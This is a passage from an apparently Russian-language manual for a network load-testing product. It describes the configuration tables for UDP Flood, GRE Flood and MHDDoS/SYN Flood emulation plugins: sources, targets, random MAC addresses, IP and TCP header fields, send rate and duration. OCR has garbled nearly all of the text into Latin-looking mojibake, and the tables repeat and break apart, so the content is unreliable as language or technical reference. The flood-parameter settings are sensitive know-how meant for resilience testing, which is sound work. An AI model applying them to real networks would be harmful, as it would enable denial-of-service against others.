KOJIMYECTBO  MapHIPYTH3aTOPOB  (XOIIOB),
4yepe3 KOTOPBIE MOXET MPOWTH IaKeT

JTAaHHBIX, PEXIE 9YeM OH OyAeT OTOPOIICH.

yMON4aHMioo, 3HaueHue TTL sBusercs:

«128»)

ToS (Type of

DSCP — »st0 mone B 3aronoBke IP-makeTa,

3apgaiite YHUCIJIOBOE 3HAUYECHUE (mo

Service) KOTOpO€ WCIIONB3YETCsl JUIS OMpeleseHus | yMoauaHuio, 3Hauenue DSCP sBisercs: «7)
npropuTeTa u 00padoTku Tpaduka
ECN — sT0 MexaHn3M, KOTOPEI 1M03BOIIsIeT | BriOepere 3HaUeHNE U3 CIICKA:
MapLIpyTH3aTOpaM  YBEAOMIATH  y31sl O | 00 (Non-ECT)
neperpyskax B cetu 6e3 cOpoca makeTos. 01 (ECT(L))
10 (ECT(0))
11 (CE (Congestion Experienced))
Cry4aiiHbIi VHUKaNbHBI ~ HACHTH(QHUKATOP  TAKeTa, | BKIOYHTH/BBIKIIOUHTH TyMOIED
ID BBIOpaHHBIH  Clly4aiiHBIM  oOpazoM  Juis

paznuueHus: pparMeHTOB OJHOTO M TOTO XKe
IP-makera

3nauenue 1D YucnoBoit WACHTHU(HUKATOp, TPHCBOCHHBIA | 3amaiite YHUCIIOBOE 3HauYEHUE (o
KaXxaomy [P-makety pitie: €ro | ymonm4aHuto, 3HaueHue «3HaueHue ID»
uneHTuUKaMH Tpu  ¢GparMeHtaruu  u | sBiusercs: «0-65535»)
cOopke
[Tapamerp gocTymeH, ecinu — mapamerp

«Crryuaitasrii ID» BeIKITIOUEH

r) TCP 3aromnoBok (L4) — mapamerpsl HacTpoek IP 3arooskos Ha yposue L4 TPC/IP,

OIMCaHMe KOTOPHIX yKa3aHbl B Tabn. 87,

Ta6a. 87 — ITapamerpsl «TCP 3arosoBok (L4)»

HazBanue Onucanne 3HaveHue
Max. Segment Size | MakcumanpHBIH pa3Mep CerMeHTa | 3afaidiTe YUCIOBOE 3HaueHWe (10
(MaxkcumanbHbIH pasmep

CETMEHTa)

oTpeeNseT MaKCHUMaJIbHBIA
00BEM TAHHBIX, KOTOPBIH MOXET
ObITh Tepeqan B omgHoM TCP-

CEIMCHTC

YMOJI4YaHUIO, 3HA4YCHUC Max.

Segment Size sBisercs: «1460»)

WS (IP Options)

[Mapamerp WS (Window Scale)
OTHOCHUTCSI K MEXaHU3My
MacmrabupoBanust okHa TCP,
KOTOPBII  ITO3BOJISIET  yBEJIMYHUTH
pa3Mep OKHa [UIS YHpaBJICHUS
ITOTOKOM JaHHBIX.

3amaiiTe 4uciIoOBOoe 3HaYeHUe (1Mo
YMOIYaHHIO, 3Ha4YeHUe WS
SIBIISIETCST: «64»)

Window Size (Pa3mep okHa)

Pasmep okma TCP ompenenser
00bEM JAHHBIX, KOTOPBIA MOXET
OBITh OTIpaBiICH 0e3 OXHUIAHHS
MTOJITBEPKICHUS OT MOITydaTeIs.

3anaiite unciaoBoe 3HaUeHHE (T10
yMoJl4aHuo, 3HaueHne Window
Size sBnsiercs: «256»)

Crnyuaiinerii Sequence Number

CryuaifHO€ 4HCII0, UCIIOJIB3yEMOE
IS MHUIHATA3aIAN
MIOCJIEI0BATENILHOCTH HOMEPOB B

BKIIHOUUTE/BBIKITIOUNTE TYMOJIED
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MPOTOKOJIaX CBsI3U  (Hampumep,
TCP)

3navyenue Sequence Number Texyiee YHUCIIO B | 3amaiite yucioBoe 3HaueHue (1Mo
MOCJIEZIOBATEILHOCTH, YMOJTYaHHIO, 3HaueHHe Sequence

MOTOKE Mnepcaavn

YKa3bIBaromee nopsaoK JaHHBIX B

Number «0-

4294967295»)

SABJIACTCA:

n) IlapameTpbl cKOpOCTH — MapaMeTp, OTBEUAIOLIHII 32 CKOPOCTh NIEpeaun MAKeTOB,

OMHCaHue KOTOPOTo yKazaHo B Tabmn. 88;

Ta6a. 88 — INapamerp «CkopocTh»

HazBanmue Onucanmne 3HaueHnmne
Tymbnep «be3 | MakcumalibHasl MPOU3BOAUTEIBHOCTh 0€3 | BKIIIOYHTE/BBIKIIOUUTH
OTPaHUYCHUS OTpPaHHYCHUH Ha KOJ-BO OTIPABIIEMBIX

3aIpOCOB B CEKYHIY
ITakeToB B | Kakoe  konmuectBo  makeroB  Oymer | 3amaiiTe 4McIOBOE 3HAUCHUE
CEeKyHIY OTMPaBJICHO B OJIHY CEKYHIY
WntepBan mexay | Onuus MO3BOJSIET HACTPOUTH 3aIEPKKy | 3ajaiiTe 4YMCIOBOE 3HaYCHHE
OTIIPaBKOH MEXIy OTIPaBKOH 3aJaHHOTO  KOJI-Ba
3a1pocoB 3allpOCOB B CEKYHY.

e) JIMTenbHOCTh - mapameTp, OTBEUAIONIUNA 3a BpeMs padoOThl IJIarMHa, OIMHCaHUE

KoToporo ykazano B Tabn. 89.

Ta6u. 89 — I[Tapametp «lauTeabHOCTH»

HazBanmue Onucanmne 3nauenue
JImMTeIpHOCTh Bpewms rerepanun Tpadurka 3agaiiTe YUCIOBOE 3HAYCHUE W BBHIOEpETE
TeHepamnu BEIMYUHY (B CEKyHIaX, MUHYyTaX WA

yacax)

5.3.1.14 UDP Flood

UDP Flood — mumarus amst reHepanuu Tpaduka, KOTOpbIil oTnpasiseT 0onbinoi oobem UDP-

MaKEeTOB Ha LEJIEBON CepBEP, YTO MOXKET MPUBECTU K UCUEPIIAHUIO MPOMYCKHON CITIOCOOHOCTH

U TIeperpy3ke pecypcoB cepBepa. DTOT IIAa0JIOH MO3BOJSET MPOTECTUPOBATH YCTONYHUBOCTH

CeTHu K aTtakam, ucnosb3ytommm UDP-tpaduxk.

I[aHHLIfI IJIaruH COCTOUT U3 CIICAYIOIHNX ITapaMCTPOB:

a) VCTOYHMKM — COBOKYMHOCTh W3 BBIOpaHHOTO areHTa, mHTepdeiicoB u MAC-

a/IpecoB C KOTOPBIX areHT OyJeT OTHpaBlIATh U MPpUHUMATh Tpauk. OnucaHue napaMmeTrpoB

ykazanbl B Tabn. 40;
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Ta6u. 90 — ITapamerpsbl «ACcTOYHHUKI»

HasBanue Onucanne 3HauyeHue

ATeHT ATeHT, ¢ KOTOpPOro OyaeT OTHpaBisIThCS | BbiOepere areHT U3 CIICKA areHTOB
Tpaduk M C KOTOpBIM OyAeT NpHHUMATH
Tpaduk.

CeTeroii CereBoii mHTep(elic arenra, ¢ koroporo | Bribepere uHTEpdEiic u3 CIHCKa

unrepetic OyaeT oTmpaBisAThCA TpadHK M ¢ KOTOpHIH | mHTepdeiicoB
Oyzet mpuHUMATh Tpaduk

Cets Bribpanubie 06bekT «CeTu» (cM. 3aronoBok | Bribepere o00bekT «CeTw» U3 cOHCKa
5.2.2.1 win 5.2.2.2) mapameTpbl KOTOPOro | 0ObeKTOB. 3amaiiTe Bec (0 YMOIYAHHUIO, BEC
OyoyT HCIOJNB30BaThCS Ul OTOPABKU | paclpeiesseT PaBHOMEPHO MAKEThl MEXIY
Tpaduka. Eciau BeiOpaHo Oosiee omHOTO | 0OBbekTamu «CeTr»)
00BEKTa, MO)KHO M3MCHUTH APAMETP «BECH,
OTBEYAIOIIUH 3a 0alaHCHPOBKY
pacnpeneneHus MAKEeTOB MEXIY
BBIOpaHHBIMH 00BeKTaMU «CeTi».

MAC-anpec Beiopannsie  06bekT «MAC-aapec» (cMm. | Brioepere oobexT «MAC-ampec» u3 crimcka

3aronoBok 5.2.3.1) mapamerpbl KOTOPOTO
OyoyT HCIOJNB30BaThCS UL OTIPABKH
Tpaduka

00BEKTOB.

Cnyuariaerii MAC-ampec — g Kaxkaoro
nakera OyZeT CreHepupoBaH CIIydaifHBIN
MAC-anpec oTmpaButes

6) Llenu — nmapameTpsl A7 BbIOOpa 00BbEKTA, B KOTOPBIH Oy1eT HanpaBiaThes Tpaduk

(cMm .3aromoBok 5.2.2.3);

Ha3panue Onucanne 3HayeHne
MAC-aapec Briopannbie o0bekTr «MAC-agpec» (cm. | Crmywaitaeiiit MAC-agpec — ansd KaxIoro
3aroJI0BOK 4)) mapaMeTpbl KOTOpOro OyayT | makerta OyJIeT CreHepUpOBaH CIydYaHbIH
WCTIONIb30BATRCS JIJISl OTIIPaBKH Tpaduka MAC-anpec nonaygarens
Bribepere 00pekT « MAC-ampecy U3 cimcka
00BEKTOB.
Llenb Bri6pannsie 00bekT «CeTn» (cM. 3aronoBok | Bribepere o00vexkT «CeTn» U3  CHHCKa

5.2.2.3) mapaMeTpbl  KOTOPOTO  OyAyT
WCIIONIb30BAThCsl JUIS OTIPaBKH Tpaduka B

BBIOpaHHYIO 1IETb.

00BEKTOB.

B) IP 3aronoBok (L3) — mapamerpsr HacTpoek IP 3aromoBkoB Ha yposue L3 TPC/IP,

OIMCaHMe KOTOPHIX yKa3aHbl B Tadm. 91,
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Ta6a. 91 — ITapamerpsl «IP 3aromoBok (L3)»

HasBanue Onucanne 3HauyeHue
TTL (Time to | Hapamerp TTL onpexensier MakcumanbHoe | 3ajaiite YUCIOBOE 3HAYECHHUE (o
Live)

KOJIMYECTBO  MapHIPYTH3aTOPOB  (XOIIOB),
4yepe3 KOTOPBIE MOXET MPOWTH IaKeT

JTAaHHBIX, PEXIE 9YeM OH OyAeT OTOPOIICH.

yMON4aHMioo, 3HaueHue TTL sBusercs:

«128»)

ToS (Type of

DSCP — »st0 mone B 3aronoBke IP-makeTa,

3apgaiite YHUCIJIOBOE 3HAUYECHUE (mo

Service) KOTOpO€ WCIIONB3YETCsl JUIS OMpeleseHus | yMoauaHuio, 3Hauenue DSCP sBisercs: «7)
npropuTeTa u 00padoTku Tpaduka
ECN — sT0 MexaHn3M, KOTOPEI 1M03BOIIsIeT | BriOepere 3HaUeHNE U3 CIICKA:
MapLIpyTH3aTOpaM  YBEAOMIATH  y31sl O | 00 (Non-ECT)
neperpyskax B cetu 6e3 cOpoca makeTos. 01 (ECT(L))
10 (ECT(0))
11 (CE (Congestion Experienced))
Cry4aiiHbIi VHUKaNbHBI ~ HACHTH(QHUKATOP  TAKeTa, | BKIOYHTH/BBIKIIOUUTH TyMOIED
ID BBIOpaHHBIH  Clly4aiiHBIM  oOpazoM  Juis

paznuueHus: pparMeHTOB OJHOTO M TOTO XKe
IP-makera

3Hauenwne ID

YucnoBoit WACHTHU(PHUKATOP, TPHCBOCHHBIH
KaXIoOMy IP-nakery Tt €ro
uneHTUGUKauuK 1pu  (QparMeHTauuu Hu
cOopke

[Tapamerp gocTymeH, ecinu — mapamerp
«Crryuaitasrii ID» BeIKITIOUEH

3apgaiite YHCIIOBOE 3HAUECHHE (o
yMOJYaHHIO, 3HaueHue «3HaueHue ID»
sBisteTcst: «0-65535%)

r) Ilapamerpsl nnaruHa — napameTpsl HacTpoek riaruHa UDP, onucanue KoTopbix

ykasanbl B Tabm. 92.

Ta6a. 92 — [Mapamerpsol «Ilnarunay

LEJIOCTHOCTU JaHHBIX. Y CTaHOBKA
HEBAJINIHOHN 4€K-CyMMBI O3HAYaET,
YTO OTHPAaBJISIEMBIE MAKeTHl OyAyT
COJEpPKATh HEIIpaBUJIBHOE
3HAUEHUE YEK-CYMMBI, YTO MOXKET
MIPUBECTU K TOMY, YTO I10JIy4aTelb
OTBEprHET 3TH [AKEThl WU

00paboTaeT MX HENPaBUIILHO.

HaszBanmue Onucanmne 3HauyeHHe
HeBanuanas yek-cymma Yek-cymma ucnomassyercst B UDP- | Britouenne wiM — BBIKIIIOUEHUE
ImaKerax IS MPOBEPKH | TyMOIlepa

OTnpaBiATh nennoasn

[leinoan — 3To JaHHbBIE, KOTOPBIE
nepenatorcs B UDP-nakere. B
JTAaHHOM ciydJae napamerp

YKa3pIBa€T Ha HCO6XO}II/IMOCTB

Bkarouenne

Tymbiepa

WJIKX  BBIKJIIFOYCHHEC
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OTIpaBKH TeyioaZa BMECTE C

UDP-nmakeTom

Ecmu tym0nep «OTmpaBisaTh meinoan BKIIOYCH

CrnyuaiiHblie JTaHHbBIE

OTOT mapaMeTp MNOApa3yMeBaeT,
YTO CoIep KuMoe Tieitnoana Oymer
TEHEPUPOBATHCS CITy4aifHbIM
o0Opa3oM. DTO MOXET BKIIIOYATh
ciyqaiiHple OaWTBl WJIH CTpPOKH,
4YTO  JeNIaeT

TpaduK  MeHee

IpEeACKa3yCeMbIM.

BkiroueHue wiaM  BBIKIOYCHHE

TymOmepa

Eciu TymOnep «Crny4aiiHple JaHHBIE» BBIKIIOYEH

Base64 ctpoka

YKa3bIBaeT, OyIeT U COACPIKUMOE
neinoana  MHTEPIPETUPOBATHCS
WIM KOIUpOBaThcad Kak Base64

CTpOKa

Brimrouenne wiaM  BBIKIIOUCHUC

TymOepa

Pa3mep neitnoana

OTOT  mapaMeTp  OmpenaemseT

pa3Mmep naHHbIX B neitnoage UDP-
3HaueHue

IIaKeTa. MOXET

BapsupoBatscs oT 0 1o 1300 OaifT.

3ajaTh YUCIIOBBIE 3HAueHHUs (1O
YMOJTYaHHIO,

«0-1300»)

3HAYCHUEC YKa3aHO:

,[[) HapaMeTpH CKOPOCTH — ITapaMeTp, OTBEYAIOIIUM 3a CKOpPOCTb nepcaavuu IakeToB,

OIMCaHMe KOTOPOro ykazaHno B Tabn. 93;

Ta6a. 93 — ITapameTp «CropocThb»

Haspanue Onucanne 3naveHue
TymOnep  «be3 | MakcumanbHasi TPOU3BOJUTENHLHOCT 0€3 | BKIIOYNTH/BBIKIIOYHTH
OTPaHUYCHUS» OTPaHMYEHUH Ha KOJ-BO OTIPABIIEMBIX

3aMpoCcoB B CEKYHIY
[Takeros B | Kakoe  kommuectBo  makeroB  Oyger | 3amaiiTe yMCIIOBOE 3HAYCHUE
CEeKYHIY OTIPABJICHO B OJIHY CEKyHIY
WutepBan Mexnay | Omnmust Mo3BOMSET HACTPOWUTH 3aJCPXKKY | 3amaiTe YUCIOBOE 3HAYCHHE
OTIPaBKOMI MEXJAy OTIPaBKOM 3aJaHHOIO  KOJI-Ba
3aIpocoB 3aMpocoB B CEKYHIY.

e) I[J'II/ITCJ'ILHOCTB - mapameTp, OTBEYAIONIUM 3a BpeMA pa6OTBI I1aruHa, OonvucCaHue

KOTOpOro ykazaHo B Ta0n. 94.

Ta6a. 94 — INapamerp «/In1uTeabHOCTB»

HasBanue Onucanne 3HayeHune
JnurenbHOCTh Bpewms reaepanun tpaduka 3anaiiTe 4nciOBOE 3HAYCHHWE M BHIOEpETe
reHepanuu BeNMMUMHY (B CEKyHJaX, MUHYTaxX WIH
gacax)
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5.3.1.15 GRE Flood

GRE Flood — mmarun mis renepanuu tpaduka, KOTOPBIH T€eHEPUPYET M OTIPABIISIET OOIBIIOE

konudyecTBO makeroB ¢ 3aroioBkoM GRE (Generic Routing Encapsulation) ¢ menbro

HEePerpy3uTh NPOIMYCKHYIO CIOCOOHOCTD CETH.

JIaHHBIN IUIArWH COCTOUT U3 CIEAYIOIIMX IapaMETPOB:

a) VcTOYHMKM — COBOKYITHOCTh W3 BBIOpaHHOTO areHrta, mHrepdeiicoB u MAC-

a/IpecoB C KOTOPBIX areHT OyJeT OTHPaBIATh U MPUHUMATh Tpaduk. OnucaHue napaMmeTrpoB

yka3zansl B Tabin. 40;

Taoa. 95— INapamerpbl «UcTOUHUKI»

HaszBanmue Onucanmne

3HaueHune

ATEHT ATeHT, C KOTOpOro OyZeT OTIIPaBIATHCS

TpapUK M C KOTOpBIM Oyaer NpHHUMATh

BLI6ep€Te arc¢HT U3 CITMCKa ar¢HTOB

Tpaduk.
CereBoii CereBoii uHTep(elic arenra, ¢ koroporo | Beibepere unTepdeiic u3 CITHCKA
uHTepdeiic OyZeT OTHIpaBIATHCS TPapUK U C KOTOPBIA | HHTEpGEiicoB

OyneT npuHUMaTh Tpaduk
CeTb Briopannbie 00bekT «Cetn» (cM. 3aroioBok | Beioepere o0bekr «CeTw» U3  CIUCKa

5.2.2.1 win 5.2.2.2) mapameTpbl KOTOPOTO
OyoyT HCIOJNB30BaThCS UL OTIPAaBKH
Tpaduka. Ecam BeiOpano Ooiiee OIHOTO
00BEKTa, MOXKHO M3MEHUTD HAPAMETP «BECH,
OTBEYAIOIIUH 3a 0aNaHCHUPOBKY
pacmpeneneHus NaKeTOB MEXKITY

BBIOpaHHBIMU O0O0BekTaMu «CeTm».

00BbeKTOB. 3aaiite Bec (0 yMOIYaHUIO, BEC
pacupeneiseT paBHOMEPHO MAKEThl MEXIy

o0bexktamu «CeTny)

MAC-anpec Bribpannsie  00bekr «MAC-agpecy» (cwM.
3aromoBok 5.2.3.1) mapameTpbl KOTOPOTo
OyZyT UCIONb30BaThCA AL OTIIPABKU
Tpaduka

Bribepere 00vexT «MAC-ampec» u3 crimcka
0OBEKTOB.

Cayuaiiueiii MAC-ampec — i KaxIoro
nmakera OyZeT CreHepHUpOBaH CIIydaifHBIN
MAC-anpec otmipaButeis

6) Llenu — mapameTpsl A7 BBIOOpa 00BEKTA, B KOTOPBIH Oy/1eT HanpaBiaThes Tpaduk

(cm .3aromoBok 5.2.2.3);

Ha3Banmue Onucanmne

3uauenue

MAC-aapec BeiOpannbie  00bekT «MAC-aapec» (cm.
3arofioBoK 4)) mapameTpbl KOTOPOTO OyIayT

WCIIONIB30BAThCS IS OTIPaBKH Tpaduka

Crnyuaiiaetii. MAC-aapec — UIsl KaKIOTO
makera OyJeT CreHepupoBaH CIy4alHBINA

MAC-anpec nmoaygarens

Bribepere 06bekT «MAC-aapecy n3 crucka

0O0BEKTOB.
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Hens

Bri6pannbie 00bekT «CeTny» (CM. 3aroJIoBOK
5.2.2.3) mapamMerpel  KOTOpPOro  OyayT
UCIIONIB30BaThCs JUI OTIpPaBKH Tpaduka B

BBIOpaHHYIO LETb.

Bribepere o0bekr «CeTw» U3  cImcKa

00BEKTOB.

B) IP 3aronoBok (L3) — mapamerpsr Hactpoek IP 3aronoskos Ha yposue L3 TPC/IP,

OMHCaHue KOTOPhIX yKa3aHbl B Taba. 96;

Ta6a. 96 — Ilapametpsl «IP 3arososok (L3)»

Ha3panue Onucanne 3naveHue
TTL (Time to | Hapamerp TTL onpezensier MakcumanbHoe | 3ajaiite YUCIOBOE 3HAYECHHUE (o
Live)

KOJIMYECTBO  MapIIPYTH3aTOPOB  (XOIOB),
yepe3 KOTOpbIE MOXET MPOUTH MakeT

JIAHHBIX, TIPEXKJIE YeM OH OyJeT OTOPOILeH.

yMmonuaHuto, 3Hauenue TTL  sBusercs:

«128»)

ToS (Type of

DSCP — 510 mone B 3arosoBke IP-makera,

3apgaiite YUCIIOBOE 3HAUECHHE (o

Service) KOTOpPOE HWCIONB3YETCS I ONpeNeNicHus | yModaHuio, sHauenne DSCP sBisteTcs: «7»)
npUopuTeTa M 00paboTKK Tpaduka
ECN — sTo MexaHu3M, KOTOPBIH o3BounsieT | Bpibepere 3HaUeHHE U3 CITUCKA:
MapIIpyTH3aTOpaM  YBEAOMIATH  y31bl O | 00 (Non-ECT)
neperpyskax B ceTu 6e3 coOpoca ImakeToB. 01 (ECT(1))
10 (ECT(0))
11 (CE (Congestion Experienced))
CnyyaliHbli YHUKaNbHBIH — uAeHTHHUKATOP — Makera, | BKIIOYUTH/BBIKIIOUUTH TyMOIIED
ID BBIOpaHHBI  CIOy4aliHBIM  OOpazoM Ui

pa3iuyeHusT PParMeHTOB OJHOTO U TOTO XKE
IP-mmakera

3unauenne ID

UuncnoBoil MIEeHTU(PHUKATOP, NPHUCBOCHHBIH
KOKIOMY [P-nakery IS ero
uneHTHGUKanu 1pu  (pparMeHTanuu H
cOopke

IMapameTp gocTymeH, ecau — mapaMmeTp
«Cnyvaitasiii ID» BeIKIIOUEH

3anaiite YHCIIOBOE 3HaYeHUE (o
YMOJYaHHIO, 3HaueHue «3HaueHue [D»
sisteTes: «0-65535»)

r) Ilapamerpsl ckopocTH — mapaMeTp, OTBEYAIOLIHI1 32 CKOPOCTh NIEPeJaul AKETOB,

oIMcaHue KOTOporo ykaszaHo B Tabn. 97,

Taoa. 97 — Ilapamerp «CropocTh»

HazBanmue

Onucanmne

3uauenue

Tymbnep  «be3

MakcumanbHas MMPpOU3BOAUTCIIBHOCTD 0e3

BKIIIOUNTE/BBIKIIOUYNTE

OTPaHUYEHUSD» OTpaHMYEHUH Ha KOJ-BO OTIPABIISIEMBIX

3a1poCcoB B CEKYHIY
[TakeroB B | Kakoe  konmmuectBo  makeroB  Oymer | 3amaiiTe 9McIOBOE 3HAUCHHE
CEKyHIY OTIIPABJICHO B OAHY CEKYHILY
WnrepBan mexnay | Onmus mNO3BOMSET HACTPOUTH 33AEPXKKy | 3amaiiTe YUCIOBOE 3HAYCHHUE
OTIHPaBKOH MEXAy OTHpPaBKOW 3aJaHHOrO  KOJ-Ba
3aIpocoB 3aIpOCOB B CEKYH/IY.
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n) JIuTenbHOCTH - MapameTp, OTBEUAIOUIUil 32 BpeMsl paboThI ITUIaruHa, ONMCaHue

KoTOporo ykazano B Tabim. 98.

Ta6a. 98 — INapamerp «/1uTeabLHOCTH»

HazBanmue Onucanmne 3HaueHnmne
JlmuTenpHOCTH Bpewmst renepanuu tpadurka 3anaiiTe YMCIIOBOE 3HAUCHHE M BBIOCpETE
TeHepannu BEeIMYUHY (B CEKyHIaX, MUHYTaxX WIIH
gacax)

5.3.1.16 MHDDo0S Emulation

MHDDoS Emulation — mnarus uis smyisinud pa3iuudbix TunoB DDO0S-atak ¢ menbro
TECTUPOBAHUS YCTOMYMBOCTH U 3AILUTHI CETEBOM HHPPACTPYKTYPHI.
JIaHHBIA IUTArMH COCTOUT W3 TOAIUIATMHOB HUXKE, KOTOpPbIE MOXKHO BKIIIOYATh IPH

HEOO0XOAMMOCTH C MPE]] HACTPOCHHBIMU MTApaMETPaMH.

5.3.1.16.1 SYN Flood

SYN Flood — moamnarus mmst reHepanuu TpaduKa, B KOTOPOM OTIPABJISIETCS OONBIIOE
KOJIM4YECTBO 3amnpocoB Ha ycraHoiieHue TCP-coenunenus (SYN-makerbl) 0e3 3aBepleHUs
npotrecca.
JIaHHBIH TUIarMH COCTOUT U3 CJIEAYIONIUX MapaMeTPOB:

a) TymOnep «AKTMBHPOBATH MOAIJIATUH» - JUI BKIIOYEHUS MOAMJIAruHa B paMKax
mwiarnaa «MHDDoS Emulation».

06) HcToyHMKM — COBOKYMHOCTh M3 BBIOpaHHOTO areHTa, mHTepdeiicoB u MAC-
a/ipecoB C KOTOPBIX areHT OyAeT OTHPaBIATh U NpUHUMATh Tpaduk. OmnucaHue napaMmeTpoB

ykazanbl B Tabn. 40;

Ta6a. 99 — INapamerpsl «McTOUHUKI

Ha3Banmue Onucanmne 3nauenue

ATeHT AreHT, C KOTOpOro OynIeT OTHpaBisAThCA | BriOepere areHT M3 criMcKa areHTOB

TpapUK M C KOTOPBIM OyneTr NpHHUMATh

Tpaduk.
CereBoii CereBoii mHTepdeic areHTa, ¢ KoToporo | Breibepete unTepdeiic u3 CIIHCKa
unrepderic OyneT oTmpaBisIThCsl TpadHWK W C KOTOPHIM | mHTEpdhercoB

Oyzmet mpuHUMATh Tpaduk
CeTh Bri6pannsie 00bekT «Cetn» (cM. 3aronoBok | Bribepere o0vexkt «CeTtn» M3  CHHCKa

5.2.2.1 wim 5.2.2.2) mapameTpbl KOTOPOro | o0beKTOB. 3amaiiTe Bec (0 YMOIYAHHUIO, BEC
OyZyT WCIONB30BaThCA JJsI  OTIPABKU | pacrpelesisieT PaBHOMEPHO IMAKeThl MEXIy
tpapuka. Ecim BbiOpaHo Oonee onHOro | oobexTamu «CeTny)

00BEKTa, MOYKHO N3MEHHTD MTapaMeTp «BECH,

Jlucm
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OTBEYAIONUH 3a OaTaHCUPOBKY
pacnpeeneHus MaKeToB MEXIY

BLIGpaHHI)IMI/I o0bekTaMu «CeTH».

MAC-anpec

Bribpannsie 00bekt «MAC-ampecy (cwm.
3arooBok 5.2.3.1) mapameTpbl KOTOPOTO
OyoyT HCIONB30BaThCS UL OTIPABKH
Tpaduka

Bribepere 06vexT «MAC-ampecy» n3 cimcka
0OBEKTOB.

Caygariaeriik MAC-ampec — i Kaxkaoro
nmakera OyJeT CreHepUpOBaH CIIyYaiHBINA
MAC-aznpec oTnpaBuTens

B) Llemu — mapameTpsl 1)1 BEIOOpa 00BEKTA, B KOTOPBIN OyIeT HapaBisIThCs Tpaduk

(cM .3aromnoBok 5.2.2.3);

Ha3panue Onucanne 3HaveHue
MAC-aapec Briopannbie o0bekt «MAC-agpec» (cm. | Crmywaitaeiit MAC-agpec — ansd Kaxaoro
3aroioBok 4)) mapaMeTpsl KOTOPOro OyAyT | makerta OyAeT CreHepHpoOBaH CIydalHBIN
HCIIOJIb30BAThCS IS OTIPaBKK Tpaduka MAC-anpec nonaygarens
Bribepere 006pexT « MAC-ampecy U3 cimcka
00BEKTOB.
Liens Briopannbie 00bekT «Cetn» (cM. 3aronoBok | Beioepere o0bekr «CeTtu» U3 CIUCKa

5.2.2.3) mapamerpel  KOTOpOro  OyayT
UCIIONB30BATECS IS OTIPaBKU Tpaduka B

BBIOPaHHYIO IIETIb.

00BEKTOB.

r) |IP 3aronoBok (L3) — mapametps! HacTpoek IP 3aronoskos Ha yposue L3 TPC/IP,

oIMcaHue KOTOPhIX yka3anbl B Tabm. 100;

Taon. 100 — IMapamertpsi «IP 3aronoBok (L3)»

Ha3panue Onucanue 3HayeHue
TTL (Time to | Hapamerp TTL ompenensier makcumanbHOe | 3anairte YUCIIOBOE 3HAYCHHUE (o
Live)

KOJIMYECTBO ~ MAapIIPyTH3aTOPOB  (XOIOB),
yepe3 KOTOpblE MOXET TIPOHTH MaKeT

JITaHHBIX, IPEXE 9YeM OH OyAeT OTOPOIIEH.

yMoi4aHuwoo, 3HaueHue TTL sBusercs:

«128»)

ToS (Type of

DSCP — »st0 mone B 3aronoBke IP-makeTa,

3anaiite YUCJIOBOE 3HAUECHUE (o

Service) KOTOpOE HCIONb3yeTCsl AJIA OIpeleseHHs | yMonuaHuro, 3HadeHne DSCP sBrsercs: «7»)
npuopuTera 1 00paboTku Tpaduka
ECN — ato MexaHu3M, KOTOPBIi o3BosisieT | Bpibepere 3HaUeHHE U3 CITUCKA:
MapIIpyTH3aTOpaM  YBEIOMIATL  y31bl 0 | 00 (Non-ECT)
neperpyskax B ceTu 0e3 cOpoca MaKeToB. 01 (ECT(1))
10 (ECT(0))
11 (CE (Congestion Experienced))
Cry9aifHBIH VHUKaNbHBI —~ HACHTH(QHUKATOP  TAKEeTa, | BKIIOYHTH/BBIKIIOUUTE TyMOIEp
ID BBIOpaHHBIH  CilydaiiHBIM  oOpazoM  JuIs

pa34YeHusT (PparMeHTOB OJJHOTO U TOTO XKE
IP-lakera

Nsm.
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3nauyenue ID

cbopke

KaXXIOMY
WACHTU(QHUKAINN  TIPH

ITapametp

UncnoBoil HMIEHTU(PHUKATOP, NPHUCBOCHHBIH
IP-makety

JIOCTYIIEH,
«Cirygaitaerii ID» BEIKITIOUCH

JUIS ero
¢parMeHTaIH T

eciu  mapameTp

3angaiite
YMOJTYaHHIO,
sisiercst: «0-65535»)

(o
ID»

YHUCIOBOC
3HA4YCHHC

3HaYEHHUE
«3HayeHne

n) TCP 3aromnoBok (L4) — mapamerpsl Hactpoek IP 3arooskos Ha yposue L4 TPC/IP,

omHcaHue KOTOphIX yKa3aHbl B Taba. 101;

Ta6n. 101 — IMapamerpsi « TCP 3arosioBok (L4)»

Ha3zBanme Onucanue 3Hauenue
Max. Segment Size | MakcumaibHBIA pa3Mep cerMeHTa | 3ajaiite uuciaoBoe 3Ha4YeHHE (110
(MakcnmanbHeli PasMep | onpenenser MaKCHMaJIbHBIH | yMOJMYaHWIO,  3HaueHne  Max.
CerMeHTA)

00bEM JaHHBIX, KOTOPBIA MOXKET
ObITh mepegan B omHoM TCP-

CEIMCHTC

Segment Size sBnstercst: «1460»)

WS (IP Options)

[Mapamerp WS (Window Scale)
OTHOCHUTCA K MCXaHU3MY
MaciitabupoBanust okHa TCP,
KOTOPBIA TO3BOJACT YBEIHYUTH
pasMep OKHAa Uil yIpaBICHUS
MOTOKOM JaHHBIX.

3anaiite unciIoBoe 3HaueHHE (T10
YMOITYaHHUIO, 3Ha4YeHUe WS
ABJISETCA: «64»)

Window Size (Pa3mep okHa)

Pasmep okna TCP omnpegpenser
00bEM IIaHHBIX, KOTOPBIA MOXET
OBITh OTHpaBlieH 0e3 OXKUIaHHs
HOJTBEP KACHUS OT HOTyJaTes.

3amaiiTe YucIOBOE 3Ha4YeHHE (ITO
yMoJl4aHuto, 3HaueHue Window
Size siBnsiercs: «256»)

Crnyuaiineiii Sequence Number

CrnyuaiiHO€ YHCIO, UCIIOJIb3YyeMOe
IS MHUIIHAIA3 AT
MTOCTICIOBATEIFHOCTH HOMEPOB B

BKITHOUUTH/BBIKITIOUNTE TYMOJIED

MPOTOKOJIAX CBs3U  (Hampumep,
TCP)

3unavyenue Sequence Number Tekymiee YUCIIO B | 3amaiite ymcioBoe 3HaueHue (1O
HOCIIEI0BATEILHOCTH, YMOJIYaHHIO, 3HaueHue Sequence

YKa3bIBaromiee nmopsaaoK JaHHBIX B
MOTOKE Mepeaavn

Number «0-

4294967295»)

SABJIACTCA:

e) IlapameTpbl ckOopocTH — MapameTp, OTBEYAIOIINI 32 CKOPOCTh Mepeaaun MaKkeToB,

oInucaHue KOTOporo ykaszaHo B Tabn. 102;

Taoa. 102 — [Mapamerp «CropocTh»

Ha3zBanue Onucanue 3HaueHnue
Tymbnep  «be3 | MakcumainbHass TPOU3BOJUTENHLHOCT 0€3 | BKIIIOYHUTH/BBIKIIOYHTE
OTpaHUYEHUS» OTPaHUYCHUN HA KOJI-BO OTHPABISICMBIX | [0 yMOTYaHHMIO, TyMOIEp BKIIOUCH.
3aMpocoB B CEKYHAY
